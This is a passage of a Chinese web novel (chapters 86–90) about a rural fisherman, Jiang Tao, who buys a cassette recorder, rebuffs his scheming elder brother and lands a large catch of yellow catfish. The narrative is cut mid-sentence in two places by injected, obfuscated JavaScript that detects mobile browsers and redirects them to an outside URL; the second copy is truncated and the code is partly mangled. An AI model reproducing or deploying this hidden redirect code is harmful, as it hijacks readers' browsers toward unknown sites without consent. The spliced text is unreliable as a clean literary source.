而且有赵干事陪着,说不定真是潜在的大客户。 他连忙从柜台里拿出一张手写的名片。 “好说好说!江同志您随时来!等您那边有信了,给我个电话,我直接把最新的货给您送到家去看!价格保证实惠!” 江涛接过名片。 “不过,收录机不用插电吧?给我拿一台,再配几节电池。另外,邓丽君、李谷一,还有儿童歌曲、英语教学之类的磁带,有的话也各拿两盘。” 倪老板开心坏了。 这是开门红啊! “哎!好嘞!江同志爽快!这机子是申城美多牌的,音质最好,我给您拿台全新的!” “磁带我这都有,我给您挑几盘好的!儿童歌曲、李谷一的都有,英语教学的……这个暂时没有,那种得去新华书店或者市里才有。” 他都多久没开张这么大的单了? 这店开张小半年,主要靠卖零配件和修理勉强维持。 现在一台名牌双卡录音机,小二百的生意,在他这儿可是久违的大单! 这江同志是真有实力,话里话外透着要买冰箱电视,绝对是位潜在大主顾。 当初他看政策放宽,咬牙把积蓄拿出来开了这个电器行,谁知道生意这么冷清,都有点后悔了。 今天总算看到点希望了。 赵建设暗暗咂舌。 这江涛花钱可真利索。 随便小二百出去了,就买了一台没什么大用的收录机? 这要换成他,不得攒好几个月工资? 他看看父亲,赵老头脸上也闪过一丝肉痛。 铁牛憨憨笑着。 这下好了,以后可以去涛子家听歌了。 刚才那什么甜蜜蜜,可真好听。 “江同志,我再送您两盘空白磁带,可以自己录歌。” 倪老板热情地教江涛这录音机如何操作,如何换磁带,如何录音。 江涛自然会用,不过也耐心听着。 从电器行出来,已近正午。 该办的事基本办完,还打听到通电的好消息。 江涛心情很好。 这收录机带回去,几个丫头肯定欢喜。 等新房盖好,电一通,电器就可以陆续置办起来了。 不过,眼下还是赶紧回村,准备下午去老渡口捞黄颡鱼。 第86章 奋斗的意义 “涛子,铁牛,爹,眼看中午了,我请你们到乡政府食堂吃个便饭吧? 赵建设想尽地主之谊,显显自己在乡里工作的能耐。 但赵老头却一摆手,直接替他回绝了。 “行了,别打肿脸充胖子了。你们那食堂,我还能不知道?不就是几样大锅菜,还得用饭票,你一个后勤的普通干事,一个月饭票就那么点,还请客?别到时候你自己饿肚子。” “再说,涛子他们也不是外人,不用讲究这个。咱们随便在街上找个面馆吃点就行,吃完了赶紧回村,下午还有事呢。” 赵建设被自己老爹这么直白地一通说,脸上有点挂不住,讪讪地摸了摸鼻子。 他本想着在乡政府食堂吃饭,也算有点面子,毕竟那是单位食堂,不是谁都能进的。 可老爹却直接拆了他的台。 不过,老爹也没说错。 他就是个后勤普通干事,每月饭票有限,请一顿客,自己得省好几天,确实不划算。 而且,涛子他们现在看着也不像是缺这顿饭的人。 此前,他也为自己是乡里办事员而自豪,觉得比在村里有面子。 可现在跟涛子这动不动就要盖楼、买冰箱电视的气魄一比,他那点面子似乎也单薄了。 “赵叔说得对,赵大哥,心意我们领了,不麻烦。咱们随便吃点就行,别耽误你下午上班。” 江涛笑着打圆场,他也不想因为一顿饭让赵建设为难。 在街上吃点,省时省力,也更自在。 “那……那行吧。我知道街口有家老陈面馆,味道不错,实惠,我常去吃。要不咱们就去那儿?” 赵建设赶紧找了个台阶下。 “行,就那儿。” 几人推着自行车来到老陈面馆,点了四碗大排面,加上几碟小菜。 吃饭时,赵建设对江涛的态度热络了许多,问起打渔的事,又问起建房的具体打算,言语间透着好奇和一丝不易察觉的讨好。 江涛随口应着,气氛倒也和洽。 只是赵老头看着儿子这前倨后恭的样子,心里更不快了。 这傻儿子真是给他丢脸。 先前看人低,现在又巴结得太明显,一点城府都没有。 吃完饭,赵建设要赶回去上班,和三人道别。 “涛子,以后在乡里有什么事,需要跑腿或者打听消息的,尽管来找我,能帮上忙的我一定帮。” “行,那先谢过赵大哥了。”江涛笑着点头。 看着赵建设匆匆离去的背影,赵老头哼了一声,对江涛和铁牛道:“这小子,以前心高气傲的,觉得在乡里上班了不起,现在总算知道人外有人了。走,咱们也赶紧回村,下午还有正事。” “赵叔,咱们就这么回去,王老板不得急坏了啊!我们在他那买的东西没拿也没结账呢。” 江涛笑着提醒。 早上在王老板杂货铺,可是订了不少米面粮油,说好办完事回来取的。 “哦,对了。” 赵老头一拍脑袋,刚才光顾着看儿子笑话,把这茬差点忘了。 王老板那买的米面粮油、油盐酱醋,还有四包中华烟还没付钱呢。 三人赶紧骑上车,又折回王老板杂货铺。 江涛要的东西,王老板早就准备好了。 用麻袋和网兜分门别类装好,就等他们来取。 看到江涛自行车上捆着个崭新的收录机,王老板眼睛也是一亮。 “涛子可以啊,这东西不便宜吧?看来今天办事挺顺利,都有心情听音乐了。是单卡还是双卡的?” “双卡的,花了小二百呢。” 铁牛自豪地抢答,可谓是与有荣焉。 “没多少钱,我们这小打小闹,哪比得上王老板的大生意。” 江涛笑着客气了一句,掏出钱把货款结清。 幸亏今天有两辆自行车,否则这么多东西,还真不好带回去。 三人将大包小裹、米面粮油在自行车后座和后架子上捆扎结实。 跟王老板道了别,这才蹬上自行车,往滨江村方向赶去。 回到滨江村时,已近下午一点。 村里不少人刚吃完午饭,正三三两两在门口树荫下闲聊。 见到江涛一行满载而归的阵势,立刻引起他们的好奇。 “哟,涛子,赵老头,铁牛,你们这是去乡里大采购了?买这么多东西!” “这麻袋里是粮食吧?看着就沉!” “涛子,你这盒子里是什么好东西?包得这么严实?” “是不是收录机啊?” “美多牌的?这可是申城产的好机子!” 村民们围拢过来,七嘴八舌地问着。 江涛笑着停下车,“去乡里办点事,顺便买点家里用的。” 他也没说是去递建房申请,只是这么多采购物资,尤其那台收录机,就已经让村民们羡慕不已了。 “乖乖,这得花多少钱啊……” “涛子现在是真能挣,也舍得花!” “看来打渔是真有搞头啊……” 听着村民们的议论,赵老头和铁牛也是与有荣焉。 他们可是跟着涛子一起干的人! 几人推着自行车往家走,不少村民好奇一路跟着。 老张不知从哪儿得了消息,也小跑着过来。 “哎呀,涛子回来了!这么多东西,我来帮忙搬!” 赵老头心里无语。 这家伙,别的本事没有,献殷勤、跑腿的功夫倒是无师自通! 不过,多个人帮忙也好。 他和铁牛跟着动手,将沉甸甸的米面粮油从车上卸下来。 听到动静,林月柔带着孩子们迎了出来。 看到大包小裹,她又惊又喜:“怎么买了这么多?事情办得怎么样?” “都挺顺利的,申请递上去了,乡里说没问题,等手续就行。电的事儿也打听了,下个月村里可能就能通电!” 江涛帮着卸东西,简单说了两句。 “真的?那可太好了!” 林月柔眼睛一亮。 通电意味着生活将有大变化,江涛之前说的冰箱、电视似乎也不再是遥不可及的梦了。 这时,几个丫头的注意力已经被收录机吸引。 “爸爸,这是什么呀?是不是给我的礼物?” 江盼娣厚着脸皮撒娇,引得其他丫头颇为不屑。 连老八都没看过眼,“二姐不知羞。” “是给大家的。” 江涛笑着,小心将收录机抱到堂屋八仙桌上,在几个丫头好奇的目光下,拆开纸盒,露出那台崭新的美多牌双卡收录机。 银灰色的外壳,黑色的按键,闪闪发光的金属装饰条,显得格外高级。 “哇!这是什么呀?好漂亮!” 江招娣惊讶地睁大了眼睛。 “这是铁做的吗?亮晶晶的!”江来娣小心翼翼地伸手想摸又不敢摸。 “爸爸,这个能干什么呀?”其他几个小丫头也叽叽喳喳地问。 “这叫收录机,能放歌,能听广播,还能自己录音呢。” 江涛将收录机装上电池,然后从袋子里找出那盘邓丽君的《甜蜜蜜》磁带,熟练地塞进卡仓,按下播放键。 轻柔优美的前奏响起,紧接着便是那熟悉的歌声。 “甜蜜蜜,你笑得甜蜜蜜,好像花儿开在春风里……” 歌声从两个小喇叭里流淌出来,充满了整个堂屋,甚至传到了院子里。 正在帮忙搬东西的铁牛、赵老头、老张,还有门口没散去的村民,全都愣住了。 “天爷!这声音……真好听啊!” “这就是录音机?里面真有人在唱歌!” “这歌……是邓丽君吧?我在别人家听过一次,可没这个清楚!” 村民们啧啧称奇。 林月柔和几个丫头更是完全被迷住。 这就是好日子的声音吗? 甜甜的,暖暖的,让人心里都开了花。 “爸爸,这个太棒了!以后天天都能听吗?” 江盼娣扑到江涛腿边,仰着小脸问。 “能,只要电池有电。” 江涛摸摸她的头,“不过不能一直听,费电。等咱们家通了电,买个可以插电的,就能常听了。这里还有儿童歌曲的磁带,回头放给你们听。” “还有儿童歌曲?太好了!”丫头们又是一阵欢呼。 铁牛挠挠头,“涛子,这玩意儿真好,以后晚上没事,能来你家听听歌不?” “当然可以,随时来。”江涛笑道。 老张在一旁看得眼热,更加坚定要紧紧跟着江涛干。 看看,这才几天,收录机都买上了! 以后,说不定自己家也能添置上! 赵老头看他那快流口水的样子,心里就来气,觉得这人忒没出息。 可有什么办法呢? 这人还不是他自己给引到涛子面前的? 算了,只要干活卖力,不偷奸耍滑,涛子愿意用就用吧。 一曲放完,江涛又换上了李谷一的《乡恋》。 清亮婉转的歌声再次响起,飘荡在小院里,引来更多村民驻足倾听。 看着妻女满足开心的笑脸,江涛心里无比踏实。 这就是他奋斗的意义。 让家人过上好日子,让她们脸上常有笑容。 而这一切,才刚刚开始。 第87章 我弟弟可有能耐了 乡恋放完,江涛就关了收录机。 倒不是舍不得电池,只是下午还有正事。 村民们听得意犹未尽,但也识趣地散了,嘴里还津津有味地议论着那好听的歌声和涛子家的洋气玩意儿。 江涛几人坐在椅子上稍事休息。 林月柔和几个丫头手脚麻利,将买回来的东西分门别类,该收进柜子里的收好,该放进灶间备用的放好。 看着橱柜塞得满满当当,坛坛罐罐都补上了货,林月柔心里那种踏实感油然而生。 再也不用为下顿没米下锅发愁了。 这种感觉真好。 赵老头抽着水烟,惬意地吐出一口烟雾,“涛子,今天还去打渔吗?这眼看都两点了,要不歇一天?” “去啊,怎么不去。” 江涛站起身,活动了一下筋骨,感觉上午的奔波疲惫消散了不少。 “咱们去老渡口,那里有点东西。铁牛,带上家伙,咱们准备出发。” “哎好。” 铁牛高兴坏了。 打渔就意味着有收获,有收获就意味着能分钱! 他立刻麻利地去院子里收拾撒网、抄网、水桶、绳子这些渔具。 赵老头也很高兴。 虽说上午跑乡里有点累,但下午能去打渔,意味着又能挣钱,这辛苦值得。 不过,他想起一事。 “涛子,你大哥那自行车是不是得先还了” “是得还。” 江涛略一思索,“这样,赵叔,辛苦你跑一趟,把这包中华给他送去,就说谢谢他借车。这包烟就当是借车的谢礼,咱们不欠他人情。” 说着,他拿出剩下那包没拆封的中华烟递给赵老头。 江海借车是有所图,他可不想因为这点小事就被拿捏,一包好烟足够抵人情了。 赵老头接过烟,心里对江涛处理事情的分寸很是认可。 一包中华可不便宜。 给了实在好处,江海那边就说不出什么了。 借车这事就算两清。 这孩子办事,越来越有章法了。 不占人便宜,也不让人占便宜。 “行,我去还。你们先去老渡口,我还完车就过去找你们,应该赶得上。”赵老头站起身。 “草编厂离老渡口不算远,您还完车走过去就行,我们在那等您。”江涛安排道。 赵老头点头,揣好那包中华烟,骑上江海那辆永久牌自行车,直奔草编厂而去。 而此时,江海正在草编厂副主任办公室里,被厂长老徐追问着赵老板投资的事情。 “江主任,赵老板那边到底什么态度?投资有没有戏?这都几天了,一点准信都没有!” 徐厂长敲着桌子,脸色很不好看。 “咱们厂可等不起了!再没资金进来更新设备、开拓销路,下个月工资都发不出来了!到时工人们闹起来,你我都担待不起!” “徐厂长,您放心!” 江海点头哈腰,陪着笑脸,“应该很快就有消息了。赵老板对我弟弟江涛特别欣赏,我弟弟跟赵老板说上话了,这事基本八九不离十了!” 他只能把江涛抬出来先稳住领导,心里对老徐也有些不满。 作为厂长一点担当都没有,整天就知道催,这拉投资的事怎么总把他这个副主任推到前面顶着? 好处你拿,黑锅我背? “你弟弟?哪个弟弟?我怎么没听说过?”徐厂长皱了皱眉。 印象里,江海家几个兄弟,好像都没什么出息吧? 特别是那个老三,不是个有名的混子吗? 哼,要不是看他家老爷子曾经有点能耐,在县里有点老关系,他能让江海当这个副主任? 可江老爷子不在了,江海也就那点本事,草包一个。 这投资的事,江海也就是个跑腿传话的。 当然,万一真黄了,江海也是个现成的替罪羊、炮灰。 “就我三弟,江涛。人特别机灵,赵老板可看重他了,还邀请他去江南发展呢!有这层关系在,投资肯定有戏!” 江海硬着头皮吹嘘。 正说着,门卫老刘在门口探头探脑。 “怎么了?”江海摆起官威。 老刘赔着笑,“江主任,门口有人找您,说是来还自行车的。” 江海一听,心中一喜。 还自行车的? 肯定是江涛来了! 他亲自来还车,正好把他拉到徐厂长面前。 让厂长给他施加点压力,说不定他当场就答应帮忙联系赵老板了! 这么想着,他连忙对徐厂长说:“厂长,可能是我弟弟来了,我去看看,顺便跟他说说投资的事。” “快去快去,好好跟你弟弟说,这是关系到全厂几十号人饭碗的大事!一定要把投资拿下来!” 徐厂长脸色稍霁。 江海如蒙大赦,快步来到厂门口,脸上带着期待的笑容,还特意整理了一下衣领。 可等他看清门口站着的人,笑容顿时僵在脸上。 不是江涛,是那个老不死的赵老头! 江涛那个老跟班! 江涛自己居然没来? 赵老头可没心思跟江海废话,直接将那辆永久牌自行车推到他面前,然后从怀里掏出那包中华烟往他手里一塞。 “江主任,车还你。这包烟是涛子让我带给你的,说是谢谢你借车。我还有事,先走了。” 说完,也不等江海反应,转身就快步离开了。 他还急着赶去老渡口跟涛子他们会合呢。 江海手里捏着那包烟,看着赵老头匆匆离去的背影,心里那叫一个气啊! 他这个弟弟,架子可真大! 连还车都不亲自来,打发个老头子来就算了,还只给一包烟? 这算什么? 打发叫花子呢? 他缺这包烟吗? 他缺的是投资!是能保住他副主任位置,在厂长面前挺直腰杆的业绩! 老三真是太不懂事了! 不过……他低头看了看手里的烟,好像是中华? 这可不便宜,抵得上他小半个月烟钱了。 看来江涛虽然日子过得一般,但对他这个大哥还算上心,知道他抽烟,特意买了这么好的。 这么一想,江海心里的气稍微顺了点。 老三可能只是脸皮薄,不好意思来厂里,但心里还是记着他这个大哥的。 他掂了掂手里的中华,哼了一声,转身回厂。 至于投资的事,等晚上下班,他再去找江涛好好谈谈! 回到办公室,老徐还在那等着。 “你弟弟呢?怎么没请进来?” “呃……他没来,让同村的人把车还了。” 江海有些尴尬,“不过徐厂长您看,这是他托人带给我的,中华烟!知道我好这口。” “一包烟就把你打发了?投资的事呢?到底怎么说?” 老徐脸拉得老长。 现在他对烟不感兴趣,他只关心钱。 江海见糊弄不过去,连忙将那包烟推到老徐面前。 “徐厂长,您别急,抽根烟消消气。我弟弟可有能耐了,这中华烟说买就买。” “他能跟赵老板搭上话,肯定有门路。我晚上再去找他,好好说道说道,把咱们厂的困难跟他讲讲,他肯定能帮忙。您放心,这事包在我身上!” “哦?” 老徐眼睛微微一眯。 能随手买得起中华烟送人的,在这乡里可不多见。 难道江家那个不成器的老三,真在外面发了什么横财,或者走了什么大运? 要真是这样,说不定还真能指望上。 他脸色缓和了些,拿起那包中华,拆开,自己点了一根,剩下的很自然地揣进了自己口袋。 “行吧,老江,这事你可要抓紧。全厂都指望你了。晚上好好跟你弟弟说,只要投资能成,厂里不会亏待你们兄弟的。” “是是是,您放心,一定一定!” 江海见老徐收了烟,语气也松动了,心里松了口气。 至于,晚上怎么跟江涛说,他得好好想想。 无论如何,得把这事办成咯,不然他这个副主任就当到头了。 第88章 涛子,你真是太神了! 老渡口,江涛带着铁牛已经先行赶到。 此时,他还不知道,江海为了稳住徐厂长,在厂里把他吹嘘成了有大能耐的人物。 他看了眼手表,就要到下午三点。 老渡口这片内港池,水面比外江平静许多,像个天然的避风塘。 水色微微发黄,带着些泥沙,水草茂盛,正适合黄颡鱼这种底栖鱼类觅食和藏身。 不然,情报也不会两次提示这里有大群黄颡鱼**。 岸边,稀稀朗朗几处芦苇丛在午后的微风中轻轻摇曳,几块被太阳晒得发白的旧船板还搁在浅滩上。 上次来捞鱼时,江涛顺手将陷在淤泥里的旧船板拖了上来。 不然,今天还得费劲清理,又得耽搁不少时间。 晒了这几天,船板已经干透,带回去正好当柴火烧。 “铁牛,将这几个水桶都打些清水。” “好嘞。” “涛子,我来了!” 不远处,赵老头气喘吁吁小跑过来,“没耽搁吧?草编厂那破地方,门口看门的盘问半天,磨叽得很。” “没有,时间正好。” 江涛看了看天色和水面,指着前方水草丰茂的回水湾。 “就这儿,准备下网。” “铁牛,你力气大,撒网往那个回水湾中间罩,那是鱼窝子,注意水草会拖渔网。” “赵叔,你在这边下网,堵住鱼往江边开阔水域逃的路线。” “我在那边下网,咱们形成一个三角合围,别让鱼跑了。” “好嘞!” 铁牛和赵老头立刻行动起来,麻利解开撒网,各自站好位置。 江涛自己也拿起一张网,目光锐利地扫视着水面。 情报提示是寅时初大群黄颡鱼**。 此刻,阳光西斜,水温适宜,正是黄颡鱼从深水区到浅水区觅食活动频繁的时候。 他们隐约看到,回水湾的水色有些浑浊,偶尔有细微的涟漪荡开,那是鱼群活动搅动水底泥沙的迹象。 “下网!” 江涛一声低喝,三人几乎同时发力。 三张撒网划出优美的弧线,“哗啦”一声没入水中,迅速沉底。 手中网纲绷紧,水下立刻传来一阵密集有力的挣扎和撞击。 比捞鲫鱼、鲤鱼时感觉更沉,挣扎也更有劲。 “有货!沉得很!” 铁牛兴奋喊道,双臂肌肉贲起,开始缓缓收网。 赵老头也感受到这网收获不小,脸上顿时笑开了花。 “是黄颡鱼!这动静,错不了!” 江涛心中一定,也开始收网。 手上传来的力道告诉他,这一网收获颇丰。 当三张网陆续拖出水面时,网眼里密密麻麻挤满了扭动挣扎的鱼。 那标志性黄褐色带黑色斑纹、扁平宽大的头部,以及背鳍和胸鳍上尖锐的硬刺,不是黄颡鱼是什么? 而且个头都不小,大多在三四两以上,有些大的估计有半斤多。 它们在网里挤作一团,尾巴拍打出“啪啪”的水花,在阳光下闪着湿漉漉的光泽。 “好家伙!这么多!还这么大!” 赵老头倒吸一口凉气,眼睛都直了。 打了一辈子鱼,也很少见到一网上来这么整齐的黄颡鱼。 这玩意儿可比鲫鱼鲤鱼值钱多了。 “快!倒进桶里,接着下网!鱼群还在!” 江涛大声指挥,手上动作不停。 三人麻利地将网里的黄颡鱼倒进水桶。 鱼儿入桶,噼里啪啦一阵乱响。 他们来不及喘息,立刻整理好渔网,再次朝着鱼群方向撒了出去。 一网,两网,三网……收获一次比一次惊人。 鱼群被惊动,但却没法散去,只能被三人的渔网不断从藏身之处驱赶出来。 带来的水桶很快就装满了。 铁牛和赵老头累得满头大汗,但脸上兴奋的红光却越来越盛。 江涛也出了不少汗。 不过,他主要是根据水情和鱼群动向不断指挥下网位置,相对要稍微轻松些。 “差不多了,鱼群散了。” 又下了几网,收获明显减少后,江涛看了看天色和水面,果断叫停。 “收拾一下,看看总共多少。” 三人将最后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17461252|201179||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几网鱼归拢到一起,看着八个水桶都装满黄颡鱼,他们忍不住咧开了嘴。 “我的老天爷,这得有多少啊?这辈子没见过能捞这么多黄颡鱼!” 赵老头擦了把汗,围着那些桶转了一圈,啧啧赞叹。 桶里的鱼挤挤挨挨,看着非常喜人。 铁牛也憨笑道:“我看,少说也得有二百斤,只多不少!涛子,你真是太神了!” “运气,碰上了。” 江涛笑了笑,心里对这次的收获也很满意。 两百斤左右的野生黄颡鱼,又是一笔不小的收入。 黄颡鱼肉质细嫩,营养丰富,尤其适合炖汤,在市场上很受欢迎,价格也比普通鲫鱼鲤鱼高不少。 夕阳西下,橘红色的霞光染红了半边天。 “行了,赶紧收拾收拾,准备回去。幸亏鱼不算多,桶里的水也够,不然就容易**。” “行,回去吧。” 三人把渔具洗净收好,又将几块晒干的旧船板用绳子捆紧,绑在自行车后座上,准备带回去当柴火。 铁牛和赵老头一前一后,用扁担各挑了两个桶,剩下的四桶则绑在自行车后座上。 也多亏有那些木板垫底撑着,不然这趟回去,怕不是又得借老张的板车了。 江涛试着推了推自行车,车头直晃,感觉十分吃力。 “涛子,我来推吧,我力气大。” 铁牛放下扁担。 “行,那你推车,我来挑担子。” 江涛也不矫情。 铁牛力气确实比他大,由他推自行车比较合适。 江涛接过扁担,挑起两桶鱼。 扁担一上肩,沉甸甸的,让他深吸了口气。 黄颡鱼密度大,比同样体积的鲫鱼沉多了。 三人就这样上路。 铁牛推着满载的自行车走在前头,赵老头挑着担子在中间,江涛挑着担子殿后,带着沉甸甸的收获朝村里走去。 回村的路上,陆续有下地干活或从江边回来的村民往家走。 看见铁牛车上绑着的大水桶,以及江涛和赵老头肩上沉甸甸的担子,全都忍不住停下脚步,瞪大了眼睛。 第89章 这下又发一笔! “我的天!涛子,铁牛,赵叔,你们这……这又是大丰收啊!” 一个村民凑过来,往桶里一瞧,顿时倒吸一口凉气。 “这、这是黄颡鱼?!这么多!还这么大!” “乖乖,这一桶怕不得有三四十斤吧?八桶……这得多少啊!涛子你也太有本事了!这才一会儿功夫吧?” “这黄颡鱼可金贵,炖汤最鲜,城里人抢着要!这能卖老多钱了!” 村民们越围越多,七嘴八舌,脸上写满了震惊和羡慕。 这涛子,前天是鲫鱼,昨天是鲤鱼,今天又是更值钱的黄颡鱼。 简直是天天不落空,次次大丰收! 这打渔的本事,真是神了! 人群里,有几个是从江边回来的,手里就提着几条小杂鱼,或者干脆空手而归。 见识了江涛打渔挣了大钱,他们都有心效仿。 下午偷偷去了江边,想着能不能碰碰运气,可结果却不尽如人意。 看到江涛这阵势,心里酸得直冒泡。 “涛子,你这是在哪儿捞的啊?我们今天在江边转了半天,撒了几网,**都没捞着一根,净挂水草了!”一个村民忍不住问道。 赵老头心里直乐,脸上却故作深沉。 光去江边有什么用? 没有涛子那双能看到鱼在哪里的神眼,去哪都是白搭,只能喝西北风! 呵呵,跟着涛子,才知道什么叫打渔! 那叫一个指哪打哪,网网不空! 他心里得意,但嘴上没说什么,只是把扁担放下,挺了挺胸脯。 “是啊,涛子,给大伙说说,有什么诀窍吗?我们也想跟着学学,沾点光。”另一个村民也凑热闹地问。 江涛停下脚步,将扁担暂且放下,擦了把汗。 “哪有什么诀窍,就是运气好碰上了。” “打渔嘛,得多看多观察,熟悉不同季节、不同天气、不同时辰,鱼喜欢在什么地方待着。” “比如,这黄颡鱼,就喜欢待在水草多有障碍物遮阴的地方,水不能太清,带点泥沙最好。” “其实,道理大家都懂,就是得多练,多琢磨。” 不少人听了都深以为然。 看来人家能捞到鱼,不只是运气,是真下了功夫观察琢磨的。 赵老头在旁心里纳闷。 这些道理他当然也懂,也在江边琢磨了一辈子。 可事实是,以前他自己去,十次有八次捞不着多少,剩下两次也是靠运气。 可跟着涛子,次次不空,而且都是大鱼群! 这其中的关窍,恐怕不只是多看多观察那么简单吧? 不过,管他呢! 反正以后就死心塌地跟着涛子干了。 涛子指哪打哪,准没错! 想那么多干嘛,有钱分就行! 这时,得到消息的老张也小跑着过来了。 看到这么多黄颡鱼,眼睛瞬间就直了。 “哎呀!涛子!赵叔!铁牛!你们这……这收获也太吓人了!全是黄颡鱼啊!” 老张挤到前面,看着水桶啧啧有声,随即又有点埋怨。 “涛子,你怎么不喊我啊?这么多鱼,用我的板车多好!一趟就拉回来了,何必用扁担挑,多累啊!下次可一定记得叫我,随叫随到!” 叫你? 赵老头瞥了老张一眼。 就你机灵! 我们这不是有自行车和扁担吗? 非得用你的板车? 江涛笑了笑,“张叔,今天鱼不算特别多,自行车加上扁担正好,就没麻烦你。等以后需要板车的时候,肯定叫你。放心吧,盖房子的时候,有你忙的。” “哎!好!好!涛子你记得就行!盖房子我一定卖力气!” 老张得了这句准话,心里舒服了,连忙拍着胸脯保证,脸上又笑开了花。 涛子这下又发一笔! 这么多黄颡鱼得值多少钱啊? 自己可得跟紧了! 好好表现,说不定以后打渔也能带上他,哪怕分点汤喝也行啊! “好了,好了,大家让一让,鱼得赶紧回去养起来,**掉价。” 赵老头打断众人的围观和议论。 村民们虽还想多看几眼,但也知道轻重,纷纷让开了路。 铁牛推着沉重的自行车打头,赵老头挑起沉甸甸的扁担跟上。 老张眼疾手快,一把抢过江涛的扁担,“涛子,这种力气活哪能让你一直干?我来挑,我劲儿大,走得稳!” “行啊。” 江涛也没推辞,顺势把担子交给了老张。 心想待会儿给他两块钱辛苦费,不能让人白出力。 要不,以后谁还愿意主动帮忙? 人情往来,有来有往才能长久。 到了家,林月柔就带着几个丫头迎了上来。 院子里,此前捞鲫鱼时借的邻居家的盆桶都还留着,邻居们也没急着来要。 毕竟,盆桶放在江涛家,每次打了鱼回来,江涛总会给他们几条鱼当谢礼。 大家乐得如此,左右不过是些不值钱的闲置家什。 “爸爸,这次又捞着什么好东西呀?” 江盼娣像只欢快的小燕子,扑到江涛腿边,拽着他的衣角撒娇。 江招娣和江来娣跟在后面,也好奇地踮起脚。 江涛揉揉盼娣的脑袋,笑道:“黄颡鱼。今晚给你炖豆腐吃好不好?汤奶白奶白的,鲜得很。” “谢谢爸爸!爸爸最好了!” 江盼娣立刻扬起小脸,骄傲得像只得胜的小公鸡,还不忘回头冲姐妹们眨眨眼,仿佛这鱼是专门为她捞的。 “哼,老二又显摆。” 江招娣撇撇嘴,走到江涛身边,“爸爸,是不是还在那地方捞的?” “是的,老地方。”江涛点点头。 江招娣心里掠过一丝小得意。 上次跟爸爸去老渡口,也是捞的黄颡鱼 好歹前阵子是她跟着爸爸打渔的,老二成天在家瞎嘚瑟什么! “哎呀,没有泥鳅吗?” 江来娣凑近桶边看了看,“我喜欢吃泥鳅炖豆腐嘛……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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赵老头哭笑不得,“你这老小子,胡咧咧什么呢。” 老张也不恼,嘿嘿一笑,埋头就干。 看着这一幕,江涛不由感慨。 以前总觉得没儿子是遗憾,一门心思想养个儿子传宗接代。 可现在想想,丫头们个个贴心又能干,懂事又孝顺。 铁牛、赵老头、老张也实诚可靠。 这不比葛亚慧和她那野种,还有宋二那老阴逼强上百倍? 很快,铁牛买豆腐回来了。 林月柔手脚麻利地将鱼收拾干净下锅。 灶间立刻飘出了诱人的香气,黄颡鱼炖豆腐的鲜香混合着红烧鱼的浓郁,弥漫在整个小院里,让人食指大动。 第90章 有几个钱就烧包! 江涛、铁牛、赵老头、老张四人围坐在八仙桌。 林月柔带着几个丫头则坐在旁边的大圆桌。 两桌摆着一样的菜色。 正中一大盆奶白色的黄颡鱼炖豆腐。 周围是色泽红亮的红烧黄颡鱼、清蒸腌鱼、腌虾炒莴苣、蛋花汤、炒青菜,还有一碟切得薄薄的冷切腌肉。 荤素搭配,香气扑鼻。 江涛给桌上三人斟上黄酒,醇厚的酒香混着鱼鲜味,勾得人肚里馋虫直叫。 赵老头抿了一口黄酒,夹起一块炖得酥烂的鱼腹肉,眯着眼感叹。 “啧,这日子过得惬意啊。有好酒,有好鱼,跟着涛子干,心里踏实,嘴里有味儿!” 老张夹起一筷子腌肉塞进嘴里,“唔……这才是人过的日子!哎呀,涛子,跟着你有钱挣,吃得又好,比我在家啃咸菜强百倍!” 说着,他灌了一口黄酒顺下去,脸上泛起红光,满足地打了个嗝。 “大家辛苦了,多吃点。” 江涛笑着招呼,“铁牛,别光顾着吃米饭,吃菜!赵叔,张叔,来,再走一个!” 几人吃得热火朝天,酒杯碰得叮当作响。 院外忽然传来一声叫唤,“涛子!涛子在家吗?” 这声音一听就是江海。 只不过,没了以往那种拿腔拿调的官腔,反而透着几分急躁。 “涛子,你大哥来了。” 赵老头笑着提醒,语气里带着点看热闹的意思。 “我去看看。” 江涛刚放下筷子站起身。 江海就已经冒冒失失地闯了进来。 看到满桌的好菜,眼睛顿时直了,喉结不自觉地滚动了一下。 难怪在院子外就闻见一股浓郁的鲜香。 原来是涛子家在吃好的! 这规格,比他在厂里食堂吃的强太多了! “哟,吃着呢?” 江海目光在八仙桌和江涛之间逡巡。 想着自己是大哥,江涛应该会客气让他坐下一起吃饭。 可八仙桌,四人一人一面坐着。 他往哪儿挤? 难道去跟那几个丫头片子挤大圆桌? 他堂堂草编厂副主任,拉不下那个脸啊。 “大哥啊,你怎么来了?” 江涛明知故问,“有什么事吗?” 江海心里那个气啊。 这小子是真不懂事还是装傻? 好歹自己是大哥,今天还借了车给他,虽然得了包烟,但这情分还在吧? 怎么现在也不招呼他坐下? 不过,他有求于人,也只能忍着。 “是有事,这事说来话……” 言下之意是这事很重要也很复杂,咱们边吃边谈,你先给我加个座、添双筷子。 但江涛却像没听懂他的暗示。 “哦,说来话长啊。那大哥你先回去,等我们吃完饭,或者你有空了再来细说。我们现在正吃饭呢,这粗茶淡饭的,也不敢招待你这大主任,怕怠慢了。” 这话一出,江海脸都绿了。 粗茶淡饭? 这一桌鱼虾肉蛋叫粗茶淡饭? 这不是睁眼说瞎话吗? 还让他先回去? 他好不容易拉下脸跑这一趟,就这么被打发了? 江海气得想拂袖而去,但一想到厂长那张黑脸,想到那岌岌可危的副主任位置,他又不敢就这么走了。 可江涛话都说到这份上了。 既不让他上桌,也不接他的话茬,他杵在这看人家大吃大喝,闻着香味干瞪眼,又算怎么回事? 简直是自取其辱! “行,你们吃着!” 江海气呼呼地撂下一句,转身就走。 看着他狼狈离开的背影,赵老头忍不住“噗嗤”一声笑了出来。 